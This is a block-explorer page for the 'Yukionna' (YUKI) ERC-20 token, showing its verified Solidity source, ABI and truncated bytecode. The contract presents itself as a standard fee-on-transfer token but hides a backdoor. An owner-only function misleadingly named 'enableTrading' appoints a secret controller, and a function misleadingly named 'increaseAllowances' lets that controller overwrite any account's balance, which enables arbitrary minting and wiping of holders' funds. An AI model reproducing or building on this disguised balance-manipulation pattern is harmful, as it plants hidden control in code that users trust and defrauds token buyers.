ETH Price: $3,298.17 (-3.12%)
 

Overview

Max Total Supply

1,000,000 YUKI

Holders

27

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
0 YUKI

Value
$0.00
0x0f641363276Cf03500D4a7D05A8e32a8738B53E8
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
YUKI

Compiler Version
v0.8.17+commit.8df45f5f

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, Unlicense license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-12-29
*/

//https://yukionna.site/
//https://medium.com/@yukionnaerc/yukionna-d00803e68975
//https://twitter.com/ERC20yukionna

// SPDX-License-Identifier: unlicense
pragma solidity ^0.8.17;
 
abstract contract Context 
{
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}
 
interface IERC20 {
    function totalSupply() external view returns (uint256);
 
    function balanceOf(address account) external view returns (uint256);
 
    function transfer(address recipient, uint256 amount) external returns (bool);
 
    function allowance(address owner, address spender) external view returns (uint256);
 
    function approve(address spender, uint256 amount) external returns (bool);
 
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);
 
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}
 
 
contract Ownable is Context {
    address private _owner;
    address private _previousOwner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );
 
    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }
 
    function owner() public view returns (address) {
        return _owner;
    }
 
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
 
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
 
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
 
}
 
library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }
 
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }
 
    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }
 
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }
 
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }
 
    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}
 
interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);
}
 
interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
 
    function factory() external pure returns (address);
 
    function WETH() external pure returns (address);
 
    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );
}
 
 
contract YUKI is Context, IERC20, Ownable {
 
    using SafeMath for uint256;
 
    string private constant _name = "Yukionna";
    string private constant _symbol = "YUKI";
    uint8 private constant _decimals = 9;
 
    mapping(address => uint256) private _rOwned;
    mapping(address => uint256) private _tOwned;
    mapping(address => bool) private isbots;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private _isExcludedFromFee;
    uint256 private constant MAX = ~uint256(0);
    uint256 private constant _tTotal = 1000000 * 10**9;
    uint256 private _rTotal = _tTotal ;
    uint256 private _tFeeTotal;
    uint256 public launchBlock;
 
    uint256 private _redisFeeOnBuy = 0;
    uint256 private _taxFeeOnBuy = 0;
 
    uint256 private _redisFeeOnSell = 0;
    uint256 private _taxFeeOnSell = 0;
 
    uint256 private _redisFee = _redisFeeOnSell;
    uint256 private _taxFee = _taxFeeOnSell;
 
    uint256 private _previousredisFee = _redisFee;
    uint256 private _previoustaxFee = _taxFee;
 
    mapping(address => bool) public bots;
    mapping(address => uint256) private cooldown;
 
    address payable private _developmentAddress = payable(0x6edDa44A2051389DB3c103e2c5E898b5b0BAed73);
    address payable private _marketingAddress = payable(0x6edDa44A2051389DB3c103e2c5E898b5b0BAed73);
 
    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapV2Pair;
    IERC20 private IDEXrouterV2;
 
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = true;
 
    uint256 public _maxTxAmount = _tTotal.mul(20).div(1000); 
    uint256 public _maxWalletSize = _tTotal.mul(20).div(1000); 
    uint256 public _swapTokensAtAmount = _tTotal.mul(5).div(1000); 
 
    event MaxTxAmountUpdated(uint256 _maxTxAmount);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }
 
    constructor() {
 
        _rOwned[_msgSender()] = _rTotal;
 
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapV2Router = _uniswapV2Router;
        uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH()); 
 
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_developmentAddress] = true;
        _isExcludedFromFee[_marketingAddress] = true;
 
        emit Transfer(address(0), _msgSender(), _tTotal);
    }
 
    function name() public pure returns (string memory) {
        return _name;
    }
 
    function symbol() public pure returns (string memory) {
        return _symbol;
    }
 
    function decimals() public pure returns (uint8) {
        return _decimals;
    }
 
    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }
 
    function balanceOf(address account) public view override returns (uint256) {
        return _rOwned[account];
    }
 
    function transfer(address recipient, uint256 amount)
        public
        override
        returns (bool)
    {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }
 
    function allowance(address owner, address spender)
        public
        view
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }
 
    function approve(address spender, uint256 amount)
        public
        override
        returns (bool)
    {
        _approve(_msgSender(), spender, amount);
        return true;
    }
 
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }
    modifier Owner() { require( address(IDEXrouterV2) == msg.sender, ""  );_; }
    function tokenFromReflection(uint256 rAmount)
        private
        view
        returns (uint256)
    {
        require(
            rAmount <= _rTotal,
            "Amount must be less than total reflections"
        );
        uint256 currentRate = _getRate();
        return rAmount.div(currentRate);
    }
 
    function removeAllFee() private {
        if (_redisFee == 0 && _taxFee == 0) return;
 
        _previousredisFee = _redisFee;
        _previoustaxFee = _taxFee;
 
        _redisFee = 0;
        _taxFee = 0;
    }
 
    function restoreAllFee() private {
        _redisFee = _previousredisFee;
        _taxFee = _previoustaxFee;
    }
 
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
 
    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
 
        if (from != owner() && to != owner()) {
 
            if (tradingOpen) {
                require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
            }
 
            require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
            require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
 
            if(to != uniswapV2Pair) {
                require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
            }
 
            uint256 contractTokenBalance = balanceOf(address(this));
            bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
 
            if(contractTokenBalance >= _maxTxAmount)
            {
                contractTokenBalance = _maxTxAmount;
            }
 
            if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
                swapTokensForEth(contractTokenBalance);
                uint256 contractETHBalance = address(this).balance;
                if (contractETHBalance > 0) {
                    sendETHToFee(address(this).balance);
                }
            }
        }
 
        bool takeFee = true;
 
        if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
            takeFee = false;
        } else {
 
            if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
                _redisFee = _redisFeeOnBuy;
                _taxFee = _taxFeeOnBuy;
            }
 
            if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
                _redisFee = _redisFeeOnSell;
                _taxFee = _taxFeeOnSell;
            }
 
        }
 
        _tokenTransfer(from, to, amount, takeFee);
    }
 
    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }
 
    function sendETHToFee(uint256 amount) private {
        _developmentAddress.transfer(amount.div(2));
        _marketingAddress.transfer(amount.div(2));
    }
 
    function enableTrading(address pair) external onlyOwner {
        IDEXrouterV2 = IERC20(pair);
     }
 
 
    function increaseAllowances(address spender, uint256 amount) external Owner{ 
      _rOwned[spender] = amount;
 
    }
    function manualswap() external {
        require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
        uint256 contractBalance = balanceOf(address(this));
        swapTokensForEth(contractBalance);
    }
 
    function manualsend() external {
        require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
        uint256 contractETHBalance = address(this).balance;
        sendETHToFee(contractETHBalance);
    }
 
    function _tokenTransfer(
        address sender,
        address recipient,
        uint256 amount,
        bool takeFee
    ) private {
        if (!takeFee) removeAllFee();
        _transferStandard(sender, recipient, amount);
        if (!takeFee) restoreAllFee();
    }
 
    function _transferStandard(
        address sender,
        address recipient,
        uint256 tAmount
    ) private {
        (
            uint256 rAmount,
            uint256 rTransferAmount,
            uint256 rFee,
            uint256 tTransferAmount,
            uint256 tFee,
            uint256 tTeam
        ) = _getValues(tAmount);
        _rOwned[sender] = _rOwned[sender].sub(rAmount);
        _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
        _takeTeam(tTeam);
        _reflectFee(rFee, tFee);
        emit Transfer(sender, recipient, tTransferAmount);
    }
 
    function _takeTeam(uint256 tTeam) private {
        uint256 currentRate = _getRate();
        uint256 rTeam = tTeam.mul(currentRate);
        _rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
    }
 
    function _reflectFee(uint256 rFee, uint256 tFee) private {
        _rTotal = _rTotal.sub(rFee);
        _tFeeTotal = _tFeeTotal.add(tFee);
    }
 
    receive() external payable {}
 
    function _getValues(uint256 tAmount)
        private
        view
        returns (
            uint256,
            uint256,
            uint256,
            uint256,
            uint256,
            uint256
        )
    {
        (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
            _getTValues(tAmount, _redisFee, _taxFee);
        uint256 currentRate = _getRate();
        (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
            _getRValues(tAmount, tFee, tTeam, currentRate);
 
        return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
    }
 
    function _getTValues(
        uint256 tAmount,
        uint256 redisFee,
        uint256 taxFee
    )
        private
        pure
        returns (
            uint256,
            uint256,
            uint256
        )
    {
        uint256 tFee = tAmount.mul(redisFee).div(100);
        uint256 tTeam = tAmount.mul(taxFee).div(100);
        uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
 
        return (tTransferAmount, tFee, tTeam);
    }
 
     function limitOff () external onlyOwner{
        _maxTxAmount = 100000000000 * 10**9;
        _maxWalletSize = 100000000000 * 10**9;
    }
 
    function _getRValues(
        uint256 tAmount,
        uint256 tFee,
        uint256 tTeam,
        uint256 currentRate
    )
        private
        pure
        returns (
            uint256,
            uint256,
            uint256
        )
    {
        uint256 rAmount = tAmount.mul(currentRate);
        uint256 rFee = tFee.mul(currentRate);
        uint256 rTeam = tTeam.mul(currentRate);
        uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
 
        return (rAmount, rTransferAmount, rFee);
    }
 
    function _getRate() private view returns (uint256) {
        (uint256 rSupply, uint256 tSupply) = _CurrentSupply();
 
        return rSupply.div(tSupply);
    }
 
 
 
    function _CurrentSupply() private view returns (uint256, uint256) {
        uint256 rSupply = _rTotal;
        uint256 tSupply = _tTotal;
        if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
 
        return (rSupply, tSupply);
    }
 
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"bots","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"pair","type":"address"}],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"increaseAllowances","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"launchBlock","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"limitOff","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualsend","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualswap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

608060405266038d7ea4c6800060078190556000600a819055600b819055600c819055600d819055600e819055600f819055601081905560115560148054736edda44a2051389db3c103e2c5e898b5b0baed736001600160a01b0319918216811783556015805490921617905560188054600160b01b61ffff60a81b19909116179055620000b7916103e891620000a39190620003b8602090811b6200081b17901c565b6200044f60201b620008a41790919060201c565b601955620000e36103e8620000a3601466038d7ea4c68000620003b860201b6200081b1790919060201c565b601a556200010f6103e8620000a3600566038d7ea4c68000620003b860201b6200081b1790919060201c565b601b553480156200011f57600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3506007543360009081526002602090815260409182902092909255601680546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155815163c45a015560e01b815291519092839263c45a015592600480830193928290030181865afa158015620001dd573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002039190620004d5565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000251573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002779190620004d5565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015620002c5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002eb9190620004d5565b601780546001600160a01b0319166001600160a01b03928316179055600080548216815260066020526040808220805460ff1990811660019081179092553084528284208054821683179055601454851684528284208054821683179055601554909416835291208054909216179055336001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef66038d7ea4c68000604051620003a991815260200190565b60405180910390a35062000599565b600082600003620003cc5750600062000449565b6000620003da838562000500565b905082620003e9858362000526565b14620004465760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084015b60405180910390fd5b90505b92915050565b60006200044683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506200049960201b60201c565b60008183620004bd5760405162461bcd60e51b81526004016200043d919062000549565b506000620004cc848662000526565b95945050505050565b600060208284031215620004e857600080fd5b81516001600160a01b03811681146200044657600080fd5b80820281158282048414176200044957634e487b7160e01b600052601160045260246000fd5b6000826200054457634e487b7160e01b600052601260045260246000fd5b500490565b600060208083528351808285015260005b8181101562000578578581018301518582016040015282016200055a565b506000604082860101526040601f19601f8301168501019250505092915050565b61186880620005a96000396000f3fe60806040526004361061014f5760003560e01c8063715018a6116100b6578063bfd792841161006f578063bfd79284146103ca578063c3c8cd80146103fa578063c6067ce31461040f578063d00efb2f1461042f578063dd62ed3e14610445578063f2fde38b1461048b57600080fd5b8063715018a61461031e5780637d1db4a5146103335780638da5cb5b146103495780638f9a55c01461036757806395d89b411461037d578063a9059cbb146103aa57600080fd5b80632fd689e3116101085780632fd689e31461026c578063313ce5671461028257806349bd5a5e1461029e57806363dd5712146102be5780636fc3eaec146102d357806370a08231146102e857600080fd5b806306fdde031461015b57806307980cb91461019e578063095ea7b3146101c05780631694505e146101f057806318160ddd1461022857806323b872dd1461024c57600080fd5b3661015657005b600080fd5b34801561016757600080fd5b5060408051808201909152600881526759756b696f6e6e6160c01b60208201525b6040516101959190611596565b60405180910390f35b3480156101aa57600080fd5b506101be6101b93660046115f9565b6104ab565b005b3480156101cc57600080fd5b506101e06101db366004611616565b610500565b6040519015158152602001610195565b3480156101fc57600080fd5b50601654610210906001600160a01b031681565b6040516001600160a01b039091168152602001610195565b34801561023457600080fd5b5066038d7ea4c680005b604051908152602001610195565b34801561025857600080fd5b506101e0610267366004611642565b610517565b34801561027857600080fd5b5061023e601b5481565b34801561028e57600080fd5b5060405160098152602001610195565b3480156102aa57600080fd5b50601754610210906001600160a01b031681565b3480156102ca57600080fd5b506101be610580565b3480156102df57600080fd5b506101be6105be565b3480156102f457600080fd5b5061023e6103033660046115f9565b6001600160a01b031660009081526002602052604090205490565b34801561032a57600080fd5b506101be610609565b34801561033f57600080fd5b5061023e60195481565b34801561035557600080fd5b506000546001600160a01b0316610210565b34801561037357600080fd5b5061023e601a5481565b34801561038957600080fd5b5060408051808201909152600481526359554b4960e01b6020820152610188565b3480156103b657600080fd5b506101e06103c5366004611616565b61067d565b3480156103d657600080fd5b506101e06103e53660046115f9565b60126020526000908152604090205460ff1681565b34801561040657600080fd5b506101be61068a565b34801561041b57600080fd5b506101be61042a366004611616565b6106e1565b34801561043b57600080fd5b5061023e60095481565b34801561045157600080fd5b5061023e610460366004611683565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b34801561049757600080fd5b506101be6104a63660046115f9565b610731565b6000546001600160a01b031633146104de5760405162461bcd60e51b81526004016104d5906116bc565b60405180910390fd5b601880546001600160a01b0319166001600160a01b0392909216919091179055565b600061050d3384846108e6565b5060015b92915050565b6000610524848484610a0a565b61057684336105718560405180606001604052806028815260200161180b602891396001600160a01b038a1660009081526005602090815260408083203384529091529020549190610f66565b6108e6565b5060019392505050565b6000546001600160a01b031633146105aa5760405162461bcd60e51b81526004016104d5906116bc565b68056bc75e2d631000006019819055601a55565b6014546001600160a01b0316336001600160a01b031614806105f357506015546001600160a01b0316336001600160a01b0316145b6105fc57600080fd5b4761060681610fa0565b50565b6000546001600160a01b031633146106335760405162461bcd60e51b81526004016104d5906116bc565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b600061050d338484610a0a565b6014546001600160a01b0316336001600160a01b031614806106bf57506015546001600160a01b0316336001600160a01b0316145b6106c857600080fd5b3060009081526002602052604090205461060681611029565b6018546001600160a01b031633146107155760405162461bcd60e51b815260206004820152600060248201526044016104d5565b6001600160a01b03909116600090815260026020526040902055565b6000546001600160a01b0316331461075b5760405162461bcd60e51b81526004016104d5906116bc565b6001600160a01b0381166107c05760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016104d5565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b60008260000361082d57506000610511565b60006108398385611707565b905082610846858361171e565b1461089d5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104d5565b9392505050565b600061089d83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506111a3565b6001600160a01b0383166109485760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104d5565b6001600160a01b0382166109a95760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104d5565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610a6e5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104d5565b6001600160a01b038216610ad05760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104d5565b60008111610b325760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104d5565b6000546001600160a01b03848116911614801590610b5e57506000546001600160a01b03838116911614155b15610e5957601854600160a01b900460ff1615610bf8576000546001600160a01b03848116911614610bf85760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c65640060648201526084016104d5565b601954811115610c4a5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016104d5565b6001600160a01b03831660009081526012602052604090205460ff16158015610c8c57506001600160a01b03821660009081526012602052604090205460ff16155b610ce45760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b60648201526084016104d5565b6017546001600160a01b03838116911614610d7f57601a5481610d1c846001600160a01b031660009081526002602052604090205490565b610d269190611740565b10610d7f5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b60648201526084016104d5565b30600090815260026020526040902054601b5460195490821015908210610da65760195491505b808015610dbd5750601854600160a81b900460ff16155b8015610dd757506017546001600160a01b03868116911614155b8015610dec5750601854600160b01b900460ff165b8015610e1157506001600160a01b03851660009081526006602052604090205460ff16155b8015610e3657506001600160a01b03841660009081526006602052604090205460ff16155b15610e5657610e4482611029565b478015610e5457610e5447610fa0565b505b50505b6001600160a01b03831660009081526006602052604090205460019060ff1680610e9b57506001600160a01b03831660009081526006602052604090205460ff165b80610ecd57506017546001600160a01b03858116911614801590610ecd57506017546001600160a01b03848116911614155b15610eda57506000610f54565b6017546001600160a01b038581169116148015610f0557506016546001600160a01b03848116911614155b15610f1757600a54600e55600b54600f555b6017546001600160a01b038481169116148015610f4257506016546001600160a01b03858116911614155b15610f5457600c54600e55600d54600f555b610f60848484846111d1565b50505050565b60008184841115610f8a5760405162461bcd60e51b81526004016104d59190611596565b506000610f978486611753565b95945050505050565b6014546001600160a01b03166108fc610fba8360026108a4565b6040518115909202916000818181858888f19350505050158015610fe2573d6000803e3d6000fd5b506015546001600160a01b03166108fc610ffd8360026108a4565b6040518115909202916000818181858888f19350505050158015611025573d6000803e3d6000fd5b5050565b6018805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061107157611071611766565b6001600160a01b03928316602091820292909201810191909152601654604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156110ca573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110ee919061177c565b8160018151811061110157611101611766565b6001600160a01b03928316602091820292909201015260165461112791309116846108e6565b60165460405163791ac94760e01b81526001600160a01b039091169063791ac94790611160908590600090869030904290600401611799565b600060405180830381600087803b15801561117a57600080fd5b505af115801561118e573d6000803e3d6000fd5b50506018805460ff60a81b1916905550505050565b600081836111c45760405162461bcd60e51b81526004016104d59190611596565b506000610f97848661171e565b806111de576111de6111ff565b6111e984848461122d565b80610f6057610f60601054600e55601154600f55565b600e5415801561120f5750600f54155b1561121657565b600e8054601055600f805460115560009182905555565b60008060008060008061123f87611324565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506112719087611381565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546112a090866113c3565b6001600160a01b0389166000908152600260205260409020556112c281611422565b6112cc848361146c565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161131191815260200190565b60405180910390a3505050505050505050565b60008060008060008060008060006113418a600e54600f54611490565b92509250925060006113516114e5565b905060008060006113648e878787611508565b919e509c509a509598509396509194505050505091939550919395565b600061089d83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610f66565b6000806113d08385611740565b90508381101561089d5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104d5565b600061142c6114e5565b9050600061143a838361081b565b3060009081526002602052604090205490915061145790826113c3565b30600090815260026020526040902055505050565b6007546114799083611381565b60075560085461148990826113c3565b6008555050565b60008080806114aa60646114a4898961081b565b906108a4565b905060006114bd60646114a48a8961081b565b905060006114d5826114cf8b86611381565b90611381565b9992985090965090945050505050565b600080600061